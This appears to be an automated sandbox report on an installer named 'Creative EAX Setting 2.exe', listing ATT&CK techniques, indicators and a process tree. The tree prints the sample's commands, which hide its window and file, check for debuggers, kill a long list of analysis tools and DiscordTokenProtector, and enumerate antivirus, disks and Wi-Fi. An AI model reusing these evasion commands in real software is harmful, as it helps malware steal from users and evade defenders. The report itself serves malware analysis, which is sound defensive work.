5df6ec05119f2dd55045a9f41e5829a5e34e9359d7952c13ea4dcecb12d2b2f4

Analysis

max time kernel
46s
max time network
54s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 02:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Creative EAX Setting 2.exe
Size 100.5MB
Sample260823-c69fcssblf
SHA256 5df6ec05119f2dd55045a9f41e5829a5e34e9359d7952c13ea4dcecb12d2b2f4
MD5 ebd263fb4bebcf7c2c4bbf57e5c075a3
SHA1 429e4a2b5654215ff104dcbf6f98b9379d7d1601
SHA512 5127979979c86e934d92dd000c92147356ec92249378edc937c6b7f888d472e2f0ef6aecbb25b807be8aa28e772fec162294a8fe99fe19dd19b3000fc02cabdc
SSDEEP 3145728:0zc0VnR8/iqarErqhtSw8+JHJLozunvpstOA:enW/ikqfSMHJkSpq
TLSH
T1FE3833958050188AF5FBC2F1AC33FA3990D35DFA6C64C40D9CEAF1A795B22934467A1F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 23 IoCs

Run Powershell to get system information as a root user.

execution

PowerShell

T1059.001

pid	Process
1440	powershell.exe
2896	powershell.exe
6112	powershell.exe
1168	powershell.exe
3444	powershell.exe
1156	powershell.exe
1680	powershell.exe
5972	powershell.exe
3676	powershell.exe
3468	powershell.exe
2296	powershell.exe
4744	powershell.exe
5040	powershell.exe
2836	powershell.exe
5496	powershell.exe
3960	powershell.exe
3664	powershell.exe
3800	powershell.exe
1700	powershell.exe
4956	powershell.exe
4428	powershell.exe
5808	powershell.exe
3524	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
820	Creative EAX Setting.exe
2668	Creative EAX Setting.exe
2200	Creative EAX Setting.exe

Loads dropped DLL 13 IoCs

pid	Process
4228	Creative EAX Setting 2.exe
4228	Creative EAX Setting 2.exe
4228	Creative EAX Setting 2.exe
4228	Creative EAX Setting 2.exe
4228	Creative EAX Setting 2.exe
4228	Creative EAX Setting 2.exe
4228	Creative EAX Setting 2.exe
2668	Creative EAX Setting.exe
2668	Creative EAX Setting.exe
2668	Creative EAX Setting.exe
2668	Creative EAX Setting.exe
2668	Creative EAX Setting.exe
2668	Creative EAX Setting.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
2668	Creative EAX Setting.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5888	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4140	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5244	powershell.exe
5012	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 49 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2248	cmd.exe
2608	cmd.exe
5976	cmd.exe
6032	cmd.exe
6068	cmd.exe
5388	cmd.exe
1440	cmd.exe
3688	cmd.exe
4680	cmd.exe
5404	cmd.exe
2168	cmd.exe
5852	cmd.exe
5712	cmd.exe
4316	cmd.exe
1320	cmd.exe
5632	cmd.exe
3352	cmd.exe
2192	cmd.exe
5392	cmd.exe
5236	cmd.exe
896	cmd.exe
1056	cmd.exe
4508	cmd.exe
1704	cmd.exe
4932	cmd.exe
1240	cmd.exe
3576	cmd.exe
4560	cmd.exe
3136	cmd.exe
1184	cmd.exe
5028	cmd.exe
5648	cmd.exe
472	cmd.exe
6084	cmd.exe
5244	cmd.exe
2872	cmd.exe
4900	cmd.exe
5992	cmd.exe
1508	cmd.exe
4852	cmd.exe
200	cmd.exe
6064	cmd.exe
5008	cmd.exe
4184	cmd.exe
1208	cmd.exe
3224	cmd.exe
1960	cmd.exe
2756	cmd.exe
2480	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Creative EAX Setting 2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2248	cmd.exe
2632	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Creative EAX Setting.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Creative EAX Setting.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
896	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
5244	powershell.exe
5244	powershell.exe
4428	powershell.exe
4428	powershell.exe
4228	Creative EAX Setting 2.exe
4228	Creative EAX Setting 2.exe
3676	powershell.exe
3676	powershell.exe
5808	powershell.exe
5808	powershell.exe
5808	powershell.exe
3524	powershell.exe
3524	powershell.exe
3524	powershell.exe
3664	powershell.exe
3664	powershell.exe
3664	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
3468	powershell.exe
3468	powershell.exe
3468	powershell.exe
5012	powershell.exe
5012	powershell.exe
1440	powershell.exe
1440	powershell.exe
3800	powershell.exe
3800	powershell.exe
1440	powershell.exe
5012	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5244	powershell.exe
Token: SeDebugPrivilege	4428	powershell.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeIncreaseQuotaPrivilege	3676	powershell.exe
Token: SeSecurityPrivilege	3676	powershell.exe
Token: SeTakeOwnershipPrivilege	3676	powershell.exe
Token: SeLoadDriverPrivilege	3676	powershell.exe
Token: SeSystemProfilePrivilege	3676	powershell.exe
Token: SeSystemtimePrivilege	3676	powershell.exe
Token: SeProfSingleProcessPrivilege	3676	powershell.exe
Token: SeIncBasePriorityPrivilege	3676	powershell.exe
Token: SeCreatePagefilePrivilege	3676	powershell.exe
Token: SeBackupPrivilege	3676	powershell.exe
Token: SeRestorePrivilege	3676	powershell.exe
Token: SeShutdownPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeSystemEnvironmentPrivilege	3676	powershell.exe
Token: SeRemoteShutdownPrivilege	3676	powershell.exe
Token: SeUndockPrivilege	3676	powershell.exe
Token: SeManageVolumePrivilege	3676	powershell.exe
Token: 33	3676	powershell.exe
Token: 34	3676	powershell.exe
Token: 35	3676	powershell.exe
Token: 36	3676	powershell.exe
Token: SeSecurityPrivilege	4228	Creative EAX Setting 2.exe
Token: SeShutdownPrivilege	820	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	820	Creative EAX Setting.exe
Token: SeDebugPrivilege	5808	powershell.exe
Token: SeShutdownPrivilege	820	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	820	Creative EAX Setting.exe
Token: SeShutdownPrivilege	820	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	820	Creative EAX Setting.exe
Token: SeDebugPrivilege	3524	powershell.exe
Token: SeShutdownPrivilege	820	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	820	Creative EAX Setting.exe
Token: SeDebugPrivilege	5888	tasklist.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeShutdownPrivilege	820	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	820	Creative EAX Setting.exe
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeIncreaseQuotaPrivilege	1156	powershell.exe
Token: SeSecurityPrivilege	1156	powershell.exe
Token: SeTakeOwnershipPrivilege	1156	powershell.exe
Token: SeLoadDriverPrivilege	1156	powershell.exe
Token: SeSystemProfilePrivilege	1156	powershell.exe
Token: SeSystemtimePrivilege	1156	powershell.exe
Token: SeProfSingleProcessPrivilege	1156	powershell.exe
Token: SeIncBasePriorityPrivilege	1156	powershell.exe
Token: SeCreatePagefilePrivilege	1156	powershell.exe
Token: SeBackupPrivilege	1156	powershell.exe
Token: SeRestorePrivilege	1156	powershell.exe
Token: SeShutdownPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeSystemEnvironmentPrivilege	1156	powershell.exe
Token: SeRemoteShutdownPrivilege	1156	powershell.exe
Token: SeUndockPrivilege	1156	powershell.exe
Token: SeManageVolumePrivilege	1156	powershell.exe
Token: 33	1156	powershell.exe
Token: 34	1156	powershell.exe
Token: 35	1156	powershell.exe
Token: 36	1156	powershell.exe
Token: SeShutdownPrivilege	820	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	820	Creative EAX Setting.exe
Token: SeDebugPrivilege	896	taskkill.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 4228 wrote to memory of 5244	4228	Creative EAX Setting 2.exe	89
PID 4228 wrote to memory of 4428	4228	Creative EAX Setting 2.exe	91
PID 4228 wrote to memory of 3676	4228	Creative EAX Setting 2.exe	93
PID 820 wrote to memory of 2668	820	Creative EAX Setting.exe	99
PID 820 wrote to memory of 5712	820	Creative EAX Setting.exe	100
PID 5712 wrote to memory of 5808	5712	cmd.exe	102
PID 5808 wrote to memory of 5876	5808	powershell.exe	103
PID 5876 wrote to memory of 3952	5876	csc.exe	104
PID 820 wrote to memory of 4184	820	Creative EAX Setting.exe	105
PID 4184 wrote to memory of 5804	4184	cmd.exe	107
PID 5804 wrote to memory of 4548	5804	net.exe	108
PID 820 wrote to memory of 2200	820	Creative EAX Setting.exe	109
PID 820 wrote to memory of 4140	820	Creative EAX Setting.exe	110
PID 4140 wrote to memory of 2196	4140	cmd.exe	112
PID 820 wrote to memory of 2872	820	Creative EAX Setting.exe	113
PID 2872 wrote to memory of 3524	2872	cmd.exe	115
PID 820 wrote to memory of 3136	820	Creative EAX Setting.exe	116
PID 3136 wrote to memory of 5888	3136	cmd.exe	118
PID 820 wrote to memory of 4316	820	Creative EAX Setting.exe	119
PID 4316 wrote to memory of 3664	4316	cmd.exe	121
PID 820 wrote to memory of 4900	820	Creative EAX Setting.exe	122
PID 4900 wrote to memory of 2056	4900	cmd.exe	124
PID 2056 wrote to memory of 3160	2056	net.exe	125
PID 820 wrote to memory of 2608	820	Creative EAX Setting.exe	126
PID 2608 wrote to memory of 1156	2608	cmd.exe	128
PID 820 wrote to memory of 5976	820	Creative EAX Setting.exe	129
PID 5976 wrote to memory of 896	5976	cmd.exe	223
PID 820 wrote to memory of 1184	820	Creative EAX Setting.exe	132
PID 1184 wrote to memory of 2672	1184	cmd.exe	134
PID 2672 wrote to memory of 1696	2672	net.exe	135
PID 820 wrote to memory of 1320	820	Creative EAX Setting.exe	136
PID 1320 wrote to memory of 3468	1320	cmd.exe	138
PID 820 wrote to memory of 6032	820	Creative EAX Setting.exe	139
PID 820 wrote to memory of 5028	820	Creative EAX Setting.exe	140
PID 820 wrote to memory of 6068	820	Creative EAX Setting.exe	142
PID 820 wrote to memory of 5236	820	Creative EAX Setting.exe	143
PID 6032 wrote to memory of 5012	6032	cmd.exe	147
PID 6068 wrote to memory of 1440	6068	cmd.exe	188
PID 5236 wrote to memory of 5660	5236	cmd.exe	149
PID 5028 wrote to memory of 3800	5028	cmd.exe	248
PID 5660 wrote to memory of 1720	5660	net.exe	151

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2196	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting 2.exe
"C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting 2.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4228
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if (Get-Command Get-CimInstance -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5244
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-ExecutionPolicy -Scope Process) -eq 'Restricted') { exit 1 } else { exit 0 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4428
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-CimInstance -ClassName Win32_Process | ? {$_.Path -and $_.Path.StartsWith('C:\Users\Admin\AppData\Local\Programs\Realtek', 'CurrentCultureIgnoreCase')}).Count -gt 0) { exit 0 } else { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3676

C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe
"C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe"
1⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:820
- C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe
  "C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\Realtek" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --field-trial-handle=1624,i,16178837467001146944,14038357253967883551,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,RendererCodeIntegrity,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1628,i,11336162666540283024,6897742096050040629,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1620 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Network Service Discovery
  PID:2668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "$h=(Add-Type '[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int n);[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();' -Name C -PassThru)::GetConsoleWindow();if($h -ne 0){[void]([C]::ShowWindow($h,0))}""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$h=(Add-Type '[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int n);[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();' -Name C -PassThru)::GetConsoleWindow();if($h -ne 0){[void]([C]::ShowWindow($h,0))}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5808
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wuqrbegm\wuqrbegm.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5876
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB106.tmp" "c:\Users\Admin\AppData\Local\Temp\wuqrbegm\CSCD2208468C1E84AF6AEC732F58C295B18.TMP"
        5⤵
        
        PID:3952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5804
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4548
- C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe
  "C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\Realtek" --field-trial-handle=1624,i,16178837467001146944,14038357253967883551,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,RendererCodeIntegrity,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1628,i,11336162666540283024,6897742096050040629,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1504 /prefetch:11
  2⤵
  - Executes dropped EXE
  PID:2200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4140
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe"
    3⤵
    - Views/modifies file attributes
    PID:2196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "[System.Diagnostics.Debugger]::IsAttached""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "[System.Diagnostics.Debugger]::IsAttached"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4900
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2056
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordTokenProtector.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5976
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordTokenProtector.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2672
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* -ErrorAction SilentlyContinue | Select-Object DisplayName | Format-Table -HideTableHeaders""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* -ErrorAction SilentlyContinue | Select-Object DisplayName | Format-Table -HideTableHeaders"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:5012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -STA -File "C:\Users\Admin\AppData\Local\Temp\vc_ss_1787453344368.ps1""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -STA -File "C:\Users\Admin\AppData\Local\Temp\vc_ss_1787453344368.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | Select-Object -ExpandProperty displayName""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | Select-Object -ExpandProperty displayName"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5236
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:5648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1680
- C:\Windows\system32\cmd.exe
